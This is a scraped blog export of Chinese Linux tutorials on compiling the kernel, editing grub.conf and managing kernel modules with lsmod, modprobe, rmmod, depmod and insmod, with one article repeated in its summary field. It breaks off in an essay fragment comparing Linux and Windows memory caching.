/boot/vmlinuz-2.6.11-1.1369_FC4 ro root=LABEL=/ rhgb quiet\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; initrd /boot/initrd-2.6.11-1.1369_FC4.img\ntitle WinXP\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; rootnoverify (hd0,0)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; chainloader +1 我们要把老内核的启动保留下来，以防不测，我们只加入新的内核的启动；所以我加上这样一段；\ntitle Fedora Core (2.6.12.3)\nroot (hd0,7)\nkernel /boot/vmlinuz-2.6.12.3 ro root=LABEL=/ rhgb quiet\ninitrd /boot/initrd-2.6.12.3.img 咱们再来看一下改过后的配置文件；\n# grub.conf generated by anaconda\n#\n# Note that you do not have to rerun grub after making changes to this file\n# NOTICE: You do not have a /boot partition. This means that\n# all kernel and initrd paths are relative to /, eg.\n# root (hd0,7)\n# kernel /boot/vmlinuz-version ro root=/dev/hda8\n# initrd /boot/initrd-version.img\n#boot=/dev/hda\ndefault=0\ntimeout=5\n#splashimage=(hd0,7)/boot/grub/splash.xpm.gz\n#hiddenmenu\ntitle Fedora Core (2.6.12.3)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; root (hd0,7)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; kernel /boot/vmlinuz-2.6.12.3 ro root=LABEL=/ rhgb quiet\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; initrd /boot/initrd-2.6.12.3.img title Fedora Core (2.6.11-1.1369_FC4)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; root (hd0,7)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; kernel /boot/vmlinuz-2.6.11-1.1369_FC4 ro root=LABEL=/ rhgb quiet\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; initrd /boot/initrd-2.6.11-1.1369_FC4.img\ntitle WinXP\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; rootnoverify (hd0,0)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; chainloader +1 然后重新启动机器，如果出现VFS错误，可能就是我写重要的那个地方出了错误；\n注意：如果重新启用内核后，原来安装的显示卡驱动，比如 NVIDIA和ATI的驱动还要重新安装；\n后记：\n为写声卡及其其它硬件设备的安装教程做准备，重写此文档；并更正一些错误；\n附录：\n1、《内核管理概述》\n2、 《Fedora / Redhat 软件包管理指南》\n3、内核主站：http://kernel.org\n","permalink":"https://hessian.cn/p/600.html","summary":" 作者：北南南北\n来自：LinuxSir.Org\n提要： 编译内核主要是通过内核实现某些功能，比如iptables 需要内支持；所有的硬件的支持也是通过内核实现的；本文只是简单的给初学者讲一下编译内核的流程； ","title":"编译内核操作流程 ──为新手指南"},{"content":" 作者：北南南北\n来自：LinuxSir.Org\n摘要：本文讲述与内核操作有关的基础知识；比如编译内核，装载、移除内核模块，查看模块信息等；本文涉及相关的命令有modprobe、insmod、depmod、rmmod、modinfo等；\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\n正文\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\n一、什么是内核；\n内核官方：http://www.kernel.org\n内核洋文用 kernel，我刚才翻了一下词典，kernel 中文意思是内核、核心、中心、精髓的意思；也是果仁、果核的意思。从字面理解，kernel 是一事物的中心，植物的果实最重要的也是果仁和果核；:) 由此我们可以推断内核是操作系统的中心。\n我们知道Linus Torvalds 开发了Linux ，其实他开发的就是内核，按内核官方主页的理解，这个内核就是Linux ；其它的扩展和应用都是围绕内核而展开的。所有Linux应用程序都会和内核发生直接或者间接的接触；比如硬件需要内核支持，网络的通信也需要内核支持；文件系统更需要内核支持\u0026#8230; \u0026#8230; 直言我的能力的不行，如果您想了解和学习解操作系统，我写的教程只是初级应用，理论性的东西不是一言两语能说的清楚的，更不是应用者能说的清楚的。\n二、为什么需要编译内核和管理内核\n硬件是需要内核支持才行，有些硬件的支持没有被编入内核，这也需要我们重编内核；内核的包含的不仅仅是设备的驱动，还有其它的内容，比如网络协议的支持，防火墙的支持\u0026#8230; \u0026#8230; 比如iptables的实现，有些功能是需要内核支持的，如果内核与iptables相关的内容没有被编入，iptables 相关的功能就无法实现；\n三、内核编译方法\n请参考：《编译内核操作流程 ──为新手指南》\n四、管理内核模块的相关命令\n1、lsmod 列加以挂载的内核模块；\nlsmod 是列出目前系统中已加载的模块的名称及大小等；另外我们还可以查看 /proc/modules ，我们一样可以知道系统已经加载的模块； [root@localhost beinan]# lsmod 2、modinfo 查看模块信息；\nmodinfo 可以查看模块的信息，通过查看模块信息来判定这个模块的用途；\n[root@localhost beinan]# moinfo 模块名 举例：\n[root@localhost beinan]# modinfo ne2k-pci\nfilename: /lib/modules/2.6.11-1.1369_FC4/kernel/drivers/net/ne2k-pci.ko\nauthor: Donald Becker / Paul Gortmaker\ndescription: PCI NE2000 clone driver\nlicense: GPL\nparmtype: debug:int\nparmtype: options:array of int\nparmtype: full_duplex:array of int\nparm: debug:debug level (1-2)\nparm: options:Bit 5: full duplex\nparm: full_duplex:full duplex setting(s) (1)\nvermagic: 2.6.11-1.1369_FC4 686 REGPARM 4KSTACKS gcc-4.0\ndepends: 8390\nalias: pci:v000010ECd00008029sv*sd*bc*sc*i*\nalias: pci:v00001050d00000940sv*sd*bc*sc*i*\nalias: pci:v000011F6d00001401sv*sd*bc*sc*i*\nalias: pci:v00008E2Ed00003000sv*sd*bc*sc*i*\nalias: pci:v00004A14d00005000sv*sd*bc*sc*i*\nalias: pci:v00001106d00000926sv*sd*bc*sc*i*\nalias: pci:v000010BDd00000E34sv*sd*bc*sc*i*\nalias: pci:v00001050d00005A5Asv*sd*bc*sc*i*\nalias: pci:v000012C3d00000058sv*sd*bc*sc*i*\nalias: pci:v000012C3d00005598sv*sd*bc*sc*i*\nalias: pci:v00008C4Ad00001980sv*sd*bc*sc*i*\nsrcversion: 6ACE95F441CD26DF9DC31C2 上面的例子是我们查看 ne2k-pci 这个模块的信息，通过查看，我们知道ne2k-pci 模块是8029网卡（PCI NE2000 clone driver）的驱动；模块是位于 /lib/modules/2.6.11-1.1369_FC4/kernel/drivers/net/ 中ne2k-pci.ko\n我们现在常用的网卡也有8139的，8139网卡所用的驱动是 8139too ；查查看？\n[root@localhost beinan]# modinfo 8139too 我们再查查vfat 和ntfs 的模块信息；\n[root@localhost beinan]# modinfo vfat\n[root@localhost beinan]# modinfo ntfs 自己尝试一下；\n注意： 模块名是不能带有后缀的，我们通过modprobe -l 所看到的模块，都是带有.ko 或.o后缀；\n3、modprobe 挂载新模块以及新模块相依赖的模块\nmodprobe 我们常用的功能就是挂载模块，在挂载某个内核模块的同时，这个模块所依赖的模块也被同时挂载；当然modprobe 也有列出内核所有模块，还有移除模块的功能；下在我们举个例子说一说咱们常用的功能和参数；\nmodprobe [-v] [-V] [-C config-file] [-n] [-i] [-q] [-o \u0026lt;modname\u0026gt;] \u0026lt;modname\u0026gt; [parameters...]\nmodprobe -r [-n] [-i] [-v] \u0026lt;modulename\u0026gt; ...\nmodprobe -l -t \u0026lt;dirname\u0026gt; [ -a \u0026lt;modulename\u0026gt; ...] 上面是modprobe 的用法，具体更为详细的帮助，我们可以查看 man modprobe ；\n[root@localhost beinan]# modprobe -c modprobe -c 可以查看modules 的配置文件，比如模块的别名是什么等；\n[root@localhost beinan]# modprobe -l modprobe -l 是列出内核中所有的模块，包括已挂载和未挂载的；通过modprobe -l ，我们能查看到我们所需要的模块，然后根据我们的需要来挂载；其实modprobe -l 读取的模块列表就位于 /lib/modules/\u0026#8217;uname -r\u0026#8217; 目录中；其中uname -r 是内核的版本； [root@localhost beinan]# uname -r\n2.6.11-1.1369_FC4\n[root@localhost beinan]# ls /lib/modules/2.6.11-1.1369_FC4/ 通过上面的命令，自己试试看？\n[root@localhost beinan]# modprobe 模块名 注：挂载一个模块； 举例： [root@localhost beinan]# modprobe ne2k-pci 注：挂载 ne2k-pci 模块；\n[root@localhost beinan]# modprobe vfat 注：挂载vfat 模块\n[root@localhost beinan]# modprobe ntfs 注：挂载ntfs 模块\n[root@localhost beinan]# lsmod 注：列出已挂载模块， 我们会看到ne2k-pci ，vfat ，ntfs的模块 ； 注意： 模块名是不能带有后缀的，我们通过modprobe -l 所看到的模块，都是带有.ko 或.o后缀；\n[root@localhost beinan]# modprobe -r 模块名 注：移除已加载的模块，和rmmod 功能相同； 注意： 模块名是不能带有后缀的，我们通过modprobe -l 所看到的模块，都是带有.ko 或.o后缀；\n[root@localhost beinan]# modprobe -r 模块名 举例： [root@localhost beinan]# modprobe -r ne2k-pci 就说这么多吧，更为详细的还是用 man modprobe 来查看和尝试；\n4、rmmod 移除已挂载模块；\n命令格式： rmmod 模块名 注意： 模块名是不能带有后缀的，我们通过modprobe -l 所看到的模块，都是带有.ko 或.o后缀；\n举例：\n[root@localhost beinan]# rmmod vfat 注：移除已挂载的模块vfat 5、depmod 创建模块依赖关系的列表\n这个模块管理工具是创建模块依赖关系的列表，有几个参数我们注意一下就行了，目前的的Linux 发行版所用的内核是2.6x版本，是自动解决依赖关系，所以这个命令知道就行了；模块之前也有依赖关系，比如我们想驱动USB 移动硬盘，目前有两种驱动，一种是udev ，在内核中有，但目前不太稳定；另一种办法是用usb-storage驱动，而usb-storage 依赖的模块是scsi 模块，所以我们要用usb-storage 的模块，也得把scsi 编译安装；\n再举个例子：sata的硬盘，在Linux中的设备表示的是/dev/sd* ，比如 /dev/sda，/dev/sdb 等\u0026#8230; 系统要驱动 sata硬盘，则需要把sata在内核中选中，或编译成模块，或内置于内核之中，在此同时，还需要在内核中选中ide ，scsi 的支持等；\ndepmod 工具的洋文原意：depmod \u0026mdash; program to generate modules.dep and map files.（我译的：为modules.dep 文件或映射文件创建依赖关系）\n[root@localhost beinan]# depmod -a 注：为所有列在/etc/modprobe.conf 或/etc/modules.conf 中的所有模块创建依赖关系，并且写入到modules.dep文件；\n[root@localhost beinan]# depmod -e 注：列出已挂载但不可用的模块；\n[root@localhost beinan]# depmod -n 注：列出所有模块的依赖关系，但仅仅是输出出来 （Write the dependency file on stdout only） 注：modules.dep 位于 /lib/modules/内核版本 目录\n比如 Fedora Core 4.0 中，系统默认的内核： [root@localhost beinan]# ls /lib/modules/2.6.11-1.1369_FC4/modules.dep\n/lib/modules/2.6.11-1.1369_FC4/modules.dep 6、insmod 挂载模块；\ninsmod 这个工具，和modprobe 有点类似，但功能上没有modprobe 强，modprobe 在挂载模块是不用指定模块文件的路径，也不用带文件的后缀.o 或.ko ；而insmod 需要的是模块的所在目录的绝对路径，并且一定要带有模块文件名后缀的(modulefile.o 或modulesfile.ko ）；\n对于这个工具，我们只是介绍一下， 并不推荐使用。因为模块有依赖关系，对于新手来说，可能不知道这个模块依赖和哪个模块依赖；\n举例：\n[root@localhost beinan]# insmod /lib/modules/2.6.11-1.1369_FC4/kernel/drivers/net/tg3.ko 我们要到 /lib/modules/内核版本 uname -r 的命令输出/kernel/drivers 中找相对应的模块才行，要有绝对路径，而且必须要用到文件名的全称，不能把文件名的后缀省略；\n五、与内核模块加载相关的配置文件；\n1、模块的配置文件 modules.conf 或 modprobe.conf\n内核模块的开机自动挂载模块一般是位于一个配置文件，一般的Linux发行版本都有 /etc/modules.conf 或 /etc/modprobe.conf 。比如Fedora Core 4.0 内核模块开机自动加载文件是 /etc/modprobe.conf ；在这个文件中，一般是写入模块的加载命令或模块的别名的定义等；比如我们在modules.conf 中可能会发行类似的一行 ； alias eth0 8139too 而8029的网卡应该是\nalias eth0 ne2k-pci 这样系统启动的时候，首先会modprobe 8139too ，然后再为8139too 指定别名为 eth0，然后我们在登录的时候，用 ifconfig 就会查看到网卡的IP 等情况，当然您得为网卡设置IP 才行；\n一般的情况下，modproe.conf 或modules.conf的内容是我们用相应的硬件配置工具而生成的；如果您的硬件驱动是没有被内核支持，您自己到硬件的厂商下载而来的驱动。一般的情况下都有安装和帮助文件。他们的驱动在配置时，他会写入硬件的支持到modules.conf 或modprobe.conf 文件中。\n再比如我们的声卡在modules.conf 或modprobe.conf 中也有相应的内容，这是由alsaconf 配置工具生成的，明白了吧；同理网卡在modprobe.conf 或modules.conf中的内容也是由网卡的配置工具而来的。\n有些硬件是以内核模块的方式驱动的，模块一旦加载上就能用，也没有什么配置工具，比如vfat 和ntfs 的支持；如果是硬件驱动不以模块的方式支持，而是直接编入内核，也不会用在modprobe.conf 或 modules.conf 中加入什么内容；\n如果您有些模块不能开机加载，您想让一些模块加机自动加载，就可以把modprobe 模块 直接写入配置文件；\n2、内核模块其它配置文件\n内核模块的其它配置文件还是需要了解的，比如 /lib/modules/内核版本目录下的几个文件；了解一下就行；比如：\n[root@localhost beinan]# uname -r\n2.6.11-1.1369_FC4\n[root@localhost beinan]# ls /lib/modules/2.6.11-1.1369_FC4/\nbuild misc modules.ccwmap modules.ieee1394map modules.isapnpmap modules.symbols source\nkernel modules.alias modules.dep modules.inputmap modules.pcimap modules.usbmap 六、硬件驱动在系统中的目录；\n硬件驱动在内核中以模块支持的目录；\n硬件驱动是必须由内核支持的，无论是我们自己安装驱动，还是内核自带的驱动都是如此。硬件驱动如果是以内核模块支持的，驱动目录位于： /lib/modules/内核版本/kernel/目录 或 /lib/modules/内核版本/kernel/drivers 目录中；\n[root@localhost beinan]# uname -r\n2.6.11-1.1369_FC4\n[root@localhost beinan]# ls /lib/modules/2.6.11-1.1369_FC4/kernel\narch crypto drivers fs lib net sound 注：只有驱动在内核中以模块的方法支持，驱动才位于 /lib/modules/相应的目录；如果是直接置入内核的，不会出现在/lib/modules驱动相关的目录；\n七、自己编译驱动的办法；\n如果是硬件厂商或者开源社区提供的驱动（没有集成在内核源码中的），编译驱动过程一般是./configure ;make;make install ，有时程序不提供./configure ，我们可以make或make install ，或者执行make;make install ；如果不能make install ，则需要我们自己复制.o或者.ko文件到 /lib/modules/内核版本/kernel/目录 或 /lib/modules/内核版本/kernel/drivers 目录中相应的驱动目录；\n这个还是自己尝试吧，说也说不清楚，遇到问题后就知道怎么弄了；具体的还是驱动的REAME和INSTALL为准；\n现在大多驱动都是在编译安装时，都自动复制.o或.ko 文件到内核模块目录，大多不用我们自己动手复制过去。如果您尝试编译安装声卡驱动 alsa-drivers 就会明白我所说的意思；\n如果是我们通过重编内核来解决驱动问题，可以查看/usr/src/目录中的内核源码目录中的 Documentation 的REAME ；所有的帮助文件都在那里；\n后记：\n内核编译对新手来说是有点困难，我写过类似的文档也有好多篇，但是不是新手弟兄从中能学到点什么，我不太知道；毕竟我写的文档在内核文件告诉一些基本的流程和注意的事项；内核的配置只有多实践才能学会，在配置内核时，要多看看帮助；\n内核模块管理方面我在本文中已经写了一些，大体上就这些，如果想要知道更为详细的，只能是自己看man 和\u0026#8211;help了，我写文档也无非是查看这些东西，然后实践再写给大家；我能写出来，我想您的能力并不一定比我差，应该超出我才对；\n相关文档：\n1、《编译内核操作流程 ──为新手指南》\n2、《内核管理概述》\n3、《用ALSA驱动声卡流程详解》\n4、 《Fedora / Redhat 软件包管理指南》\n5、内核主站：http://kernel.org\n","permalink":"https://hessian.cn/p/403.html","summary":" 作者：北南南北\n来自：LinuxSir.Org\n摘要：本文讲述与内核操作有关的基础知识；比如编译内核，装载、移除内核模块，查看模块信息等；本文涉及相关的命令有modprobe、insmod、depmod、rmmod、modinfo等；\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\n正文\n++++++++++++++++++++++++++++++++++++++++++++++++++++++\n一、什么是内核；\n内核官方：http://www.kernel.org\n内核洋文用 kernel，我刚才翻了一下词典，kernel 中文意思是内核、核心、中心、精髓的意思；也是果仁、果核的意思。从字面理解，kernel 是一事物的中心，植物的果实最重要的也是果仁和果核；:) 由此我们可以推断内核是操作系统的中心。\n我们知道Linus Torvalds 开发了Linux ，其实他开发的就是内核，按内核官方主页的理解，这个内核就是Linux ；其它的扩展和应用都是围绕内核而展开的。所有Linux应用程序都会和内核发生直接或者间接的接触；比如硬件需要内核支持，网络的通信也需要内核支持；文件系统更需要内核支持\u0026#8230; \u0026#8230; 直言我的能力的不行，如果您想了解和学习解操作系统，我写的教程只是初级应用，理论性的东西不是一言两语能说的清楚的，更不是应用者能说的清楚的。\n二、为什么需要编译内核和管理内核\n硬件是需要内核支持才行，有些硬件的支持没有被编入内核，这也需要我们重编内核；内核的包含的不仅仅是设备的驱动，还有其它的内容，比如网络协议的支持，防火墙的支持\u0026#8230; \u0026#8230; 比如iptables的实现，有些功能是需要内核支持的，如果内核与iptables相关的内容没有被编入，iptables 相关的功能就无法实现；\n三、内核编译方法\n请参考：《编译内核操作流程 ──为新手指南》\n四、管理内核模块的相关命令\n1、lsmod 列加以挂载的内核模块；\nlsmod 是列出目前系统中已加载的模块的名称及大小等；另外我们还可以查看 /proc/modules ，我们一样可以知道系统已经加载的模块； [root@localhost beinan]# lsmod 2、modinfo 查看模块信息；\nmodinfo 可以查看模块的信息，通过查看模块信息来判定这个模块的用途；\n[root@localhost beinan]# moinfo 模块名 举例：\n[root@localhost beinan]# modinfo ne2k-pci\nfilename: /lib/modules/2.6.11-1.1369_FC4/kernel/drivers/net/ne2k-pci.ko\nauthor: Donald Becker / Paul Gortmaker\ndescription: PCI NE2000 clone driver\nlicense: GPL\nparmtype: debug:int\nparmtype: options:array of int\nparmtype: full_duplex:array of int\nparm: debug:debug level (1-2)\nparm: options:Bit 5: full duplex\nparm: full_duplex:full duplex setting(s) (1)\nvermagic: 2.6.11-1.1369_FC4 686 REGPARM 4KSTACKS gcc-4.0\ndepends: 8390\nalias: pci:v000010ECd00008029sv*sd*bc*sc*i*\nalias: pci:v00001050d00000940sv*sd*bc*sc*i*\nalias: pci:v000011F6d00001401sv*sd*bc*sc*i*\nalias: pci:v00008E2Ed00003000sv*sd*bc*sc*i*\nalias: pci:v00004A14d00005000sv*sd*bc*sc*i*\nalias: pci:v00001106d00000926sv*sd*bc*sc*i*\nalias: pci:v000010BDd00000E34sv*sd*bc*sc*i*\nalias: pci:v00001050d00005A5Asv*sd*bc*sc*i*\nalias: pci:v000012C3d00000058sv*sd*bc*sc*i*\nalias: pci:v000012C3d00005598sv*sd*bc*sc*i*\nalias: pci:v00008C4Ad00001980sv*sd*bc*sc*i*\nsrcversion: 6ACE95F441CD26DF9DC31C2 上面的例子是我们查看 ne2k-pci 这个模块的信息，通过查看，我们知道ne2k-pci 模块是8029网卡（PCI NE2000 clone driver）的驱动；模块是位于 /lib/modules/2.6.11-1.1369_FC4/kernel/drivers/net/ 中ne2k-pci.ko\n我们现在常用的网卡也有8139的，8139网卡所用的驱动是 8139too ；查查看？\n[root@localhost beinan]# modinfo 8139too 我们再查查vfat 和ntfs 的模块信息；\n[root@localhost beinan]# modinfo vfat\n[root@localhost beinan]# modinfo ntfs 自己尝试一下；\n注意： 模块名是不能带有后缀的，我们通过modprobe -l 所看到的模块，都是带有.ko 或.o后缀；\n3、modprobe 挂载新模块以及新模块相依赖的模块\nmodprobe 我们常用的功能就是挂载模块，在挂载某个内核模块的同时，这个模块所依赖的模块也被同时挂载；当然modprobe 也有列出内核所有模块，还有移除模块的功能；下在我们举个例子说一说咱们常用的功能和参数；\nmodprobe [-v] [-V] [-C config-file] [-n] [-i] [-q] [-o \u0026lt;modname\u0026gt;] \u0026lt;modname\u0026gt; [parameters...]\nmodprobe -r [-n] [-i] [-v] \u0026lt;modulename\u0026gt; ...\nmodprobe -l -t \u0026lt;dirname\u0026gt; [ -a \u0026lt;modulename\u0026gt; ...] 上面是modprobe 的用法，具体更为详细的帮助，我们可以查看 man modprobe ；\n[root@localhost beinan]# modprobe -c modprobe -c 可以查看modules 的配置文件，比如模块的别名是什么等；\n[root@localhost beinan]# modprobe -l modprobe -l 是列出内核中所有的模块，包括已挂载和未挂载的；通过modprobe -l ，我们能查看到我们所需要的模块，然后根据我们的需要来挂载；其实modprobe -l 读取的模块列表就位于 /lib/modules/\u0026#8217;uname -r\u0026#8217; 目录中；其中uname -r 是内核的版本； [root@localhost beinan]# uname -r\n2.6.11-1.1369_FC4\n[root@localhost beinan]# ls /lib/modules/2.6.11-1.1369_FC4/ 通过上面的命令，自己试试看？\n[root@localhost beinan]# modprobe 模块名 注：挂载一个模块； 举例： [root@localhost beinan]# modprobe ne2k-pci 注：挂载 ne2k-pci 模块；\n[root@localhost beinan]# modprobe vfat 注：挂载vfat 模块\n[root@localhost beinan]# modprobe ntfs 注：挂载ntfs 模块\n[root@localhost beinan]# lsmod 注：列出已挂载模块， 我们会看到ne2k-pci ，vfat ，ntfs的模块 ； 注意： 模块名是不能带有后缀的，我们通过modprobe -l 所看到的模块，都是带有.ko 或.o后缀；\n[root@localhost beinan]# modprobe -r 模块名 注：移除已加载的模块，和rmmod 功能相同； 注意： 模块名是不能带有后缀的，我们通过modprobe -l 所看到的模块，都是带有.ko 或.o后缀；\n[root@localhost beinan]# modprobe -r 模块名 举例： [root@localhost beinan]# modprobe -r ne2k-pci 就说这么多吧，更为详细的还是用 man modprobe 来查看和尝试；\n4、rmmod 移除已挂载模块；\n命令格式： rmmod 模块名 注意： 模块名是不能带有后缀的，我们通过modprobe -l 所看到的模块，都是带有.ko 或.o后缀；\n举例：\n[root@localhost beinan]# rmmod vfat 注：移除已挂载的模块vfat 5、depmod 创建模块依赖关系的列表\n这个模块管理工具是创建模块依赖关系的列表，有几个参数我们注意一下就行了，目前的的Linux 发行版所用的内核是2.6x版本，是自动解决依赖关系，所以这个命令知道就行了；模块之前也有依赖关系，比如我们想驱动USB 移动硬盘，目前有两种驱动，一种是udev ，在内核中有，但目前不太稳定；另一种办法是用usb-storage驱动，而usb-storage 依赖的模块是scsi 模块，所以我们要用usb-storage 的模块，也得把scsi 编译安装；\n再举个例子：sata的硬盘，在Linux中的设备表示的是/dev/sd* ，比如 /dev/sda，/dev/sdb 等\u0026#8230; 系统要驱动 sata硬盘，则需要把sata在内核中选中，或编译成模块，或内置于内核之中，在此同时，还需要在内核中选中ide ，scsi 的支持等；\ndepmod 工具的洋文原意：depmod \u0026mdash; program to generate modules.dep and map files.（我译的：为modules.dep 文件或映射文件创建依赖关系）\n[root@localhost beinan]# depmod -a 注：为所有列在/etc/modprobe.conf 或/etc/modules.conf 中的所有模块创建依赖关系，并且写入到modules.dep文件；\n[root@localhost beinan]# depmod -e 注：列出已挂载但不可用的模块；\n[root@localhost beinan]# depmod -n 注：列出所有模块的依赖关系，但仅仅是输出出来 （Write the dependency file on stdout only） 注：modules.dep 位于 /lib/modules/内核版本 目录\n比如 Fedora Core 4.0 中，系统默认的内核： [root@localhost beinan]# ls /lib/modules/2.6.11-1.1369_FC4/modules.dep\n/lib/modules/2.6.11-1.1369_FC4/modules.dep 6、insmod 挂载模块；\ninsmod 这个工具，和modprobe 有点类似，但功能上没有modprobe 强，modprobe 在挂载模块是不用指定模块文件的路径，也不用带文件的后缀.o 或.ko ；而insmod 需要的是模块的所在目录的绝对路径，并且一定要带有模块文件名后缀的(modulefile.o 或modulesfile.ko ）；\n对于这个工具，我们只是介绍一下， 并不推荐使用。因为模块有依赖关系，对于新手来说，可能不知道这个模块依赖和哪个模块依赖；\n举例：\n[root@localhost beinan]# insmod /lib/modules/2.6.11-1.1369_FC4/kernel/drivers/net/tg3.ko 我们要到 /lib/modules/内核版本 uname -r 的命令输出/kernel/drivers 中找相对应的模块才行，要有绝对路径，而且必须要用到文件名的全称，不能把文件名的后缀省略；\n五、与内核模块加载相关的配置文件；\n1、模块的配置文件 modules.conf 或 modprobe.conf\n内核模块的开机自动挂载模块一般是位于一个配置文件，一般的Linux发行版本都有 /etc/modules.conf 或 /etc/modprobe.conf 。比如Fedora Core 4.0 内核模块开机自动加载文件是 /etc/modprobe.conf ；在这个文件中，一般是写入模块的加载命令或模块的别名的定义等；比如我们在modules.conf 中可能会发行类似的一行 ； alias eth0 8139too 而8029的网卡应该是\nalias eth0 ne2k-pci 这样系统启动的时候，首先会modprobe 8139too ，然后再为8139too 指定别名为 eth0，然后我们在登录的时候，用 ifconfig 就会查看到网卡的IP 等情况，当然您得为网卡设置IP 才行；\n一般的情况下，modproe.conf 或modules.conf的内容是我们用相应的硬件配置工具而生成的；如果您的硬件驱动是没有被内核支持，您自己到硬件的厂商下载而来的驱动。一般的情况下都有安装和帮助文件。他们的驱动在配置时，他会写入硬件的支持到modules.conf 或modprobe.conf 文件中。\n再比如我们的声卡在modules.conf 或modprobe.conf 中也有相应的内容，这是由alsaconf 配置工具生成的，明白了吧；同理网卡在modprobe.conf 或modules.conf中的内容也是由网卡的配置工具而来的。\n有些硬件是以内核模块的方式驱动的，模块一旦加载上就能用，也没有什么配置工具，比如vfat 和ntfs 的支持；如果是硬件驱动不以模块的方式支持，而是直接编入内核，也不会用在modprobe.conf 或 modules.conf 中加入什么内容；\n如果您有些模块不能开机加载，您想让一些模块加机自动加载，就可以把modprobe 模块 直接写入配置文件；\n2、内核模块其它配置文件\n内核模块的其它配置文件还是需要了解的，比如 /lib/modules/内核版本目录下的几个文件；了解一下就行；比如：\n[root@localhost beinan]# uname -r\n2.6.11-1.1369_FC4\n[root@localhost beinan]# ls /lib/modules/2.6.11-1.1369_FC4/\nbuild misc modules.ccwmap modules.ieee1394map modules.isapnpmap modules.symbols source\nkernel modules.alias modules.dep modules.inputmap modules.pcimap modules.usbmap 六、硬件驱动在系统中的目录；\n硬件驱动在内核中以模块支持的目录；\n硬件驱动是必须由内核支持的，无论是我们自己安装驱动，还是内核自带的驱动都是如此。硬件驱动如果是以内核模块支持的，驱动目录位于： /lib/modules/内核版本/kernel/目录 或 /lib/modules/内核版本/kernel/drivers 目录中；\n[root@localhost beinan]# uname -r\n2.6.11-1.1369_FC4\n[root@localhost beinan]# ls /lib/modules/2.6.11-1.1369_FC4/kernel\narch crypto drivers fs lib net sound 注：只有驱动在内核中以模块的方法支持，驱动才位于 /lib/modules/相应的目录；如果是直接置入内核的，不会出现在/lib/modules驱动相关的目录；\n七、自己编译驱动的办法；\n如果是硬件厂商或者开源社区提供的驱动（没有集成在内核源码中的），编译驱动过程一般是./configure ;make;make install ，有时程序不提供./configure ，我们可以make或make install ，或者执行make;make install ；如果不能make install ，则需要我们自己复制.o或者.ko文件到 /lib/modules/内核版本/kernel/目录 或 /lib/modules/内核版本/kernel/drivers 目录中相应的驱动目录；\n这个还是自己尝试吧，说也说不清楚，遇到问题后就知道怎么弄了；具体的还是驱动的REAME和INSTALL为准；\n现在大多驱动都是在编译安装时，都自动复制.o或.ko 文件到内核模块目录，大多不用我们自己动手复制过去。如果您尝试编译安装声卡驱动 alsa-drivers 就会明白我所说的意思；\n如果是我们通过重编内核来解决驱动问题，可以查看/usr/src/目录中的内核源码目录中的 Documentation 的REAME ；所有的帮助文件都在那里；\n后记：\n内核编译对新手来说是有点困难，我写过类似的文档也有好多篇，但是不是新手弟兄从中能学到点什么，我不太知道；毕竟我写的文档在内核文件告诉一些基本的流程和注意的事项；内核的配置只有多实践才能学会，在配置内核时，要多看看帮助；\n内核模块管理方面我在本文中已经写了一些，大体上就这些，如果想要知道更为详细的，只能是自己看man 和\u0026#8211;help了，我写文档也无非是查看这些东西，然后实践再写给大家；我能写出来，我想您的能力并不一定比我差，应该超出我才对；\n相关文档：\n1、《编译内核操作流程 ──为新手指南》\n2、《内核管理概述》\n3、《用ALSA驱动声卡流程详解》\n4、 《Fedora / Redhat 软件包管理指南》\n5、内核主站：http://kernel.org\n","title":"内核管理概述"},{"content":"4. 释放内存 我在 Windows 下做过的一件最傻的事情莫过于\u0026ldquo;释放内存\u0026rdquo;了。有一天我看到一个 Windows 程序说：\u0026ldquo;这个程序可以帮你把大量内存释放出来给一个很大的程序用。\u0026rdquo;我试了一下，居然一下把我的 64M 内存释放出来 48M！我高兴极了。现在想一想，那是多么傻的事情，那么多的内存留着干什么？不用白不用啊！一个操作系统，居然还需要别人写的程序来释放内存，那是什么样的操作系统？ 在 Linux 下用 free 命令，你会发现你的内存几乎每时每刻都快要被用完。那是因为 Linux 把大部分内存用来作为磁盘缓冲了。Linux 有比 Windows 先进的磁盘缓冲技术。你有没有发现你往硬盘写数据的时候，很快就完成了？那是因为 Linux 在内存里有很多磁盘缓冲区，你要写到硬盘上的数据先被写到了这些内存里，然后 Linux 就告诉你\u0026ldquo;拷贝完成\u0026rdquo;，当你马上又想删除刚才写入的某些数据时，Linux 只是把数据从内存里移除，然后报告\u0026ldquo;删除完成\u0026rdquo;。在一定的间隔时间后，Linux 才把数据写回硬盘，这样不但高效，避免了多次硬盘操作，而且减少了文件的不连续，也就是减少了\u0026ldquo;碎片\u0026rdquo;。Windows 当然也有磁盘缓冲，但是由于它内存管理的低效率，它不敢把大量内存都用来作为磁盘缓冲，因为它没有能力在用的时候随时把内存收回来。 Linux 能干的高级的事情 Windows 都干不了 当然有很多事情是Linux/UNIX的专利了。因为 Windows 只能装在 PC 机上，好像以前也有 Alpha 可以使用 Windows 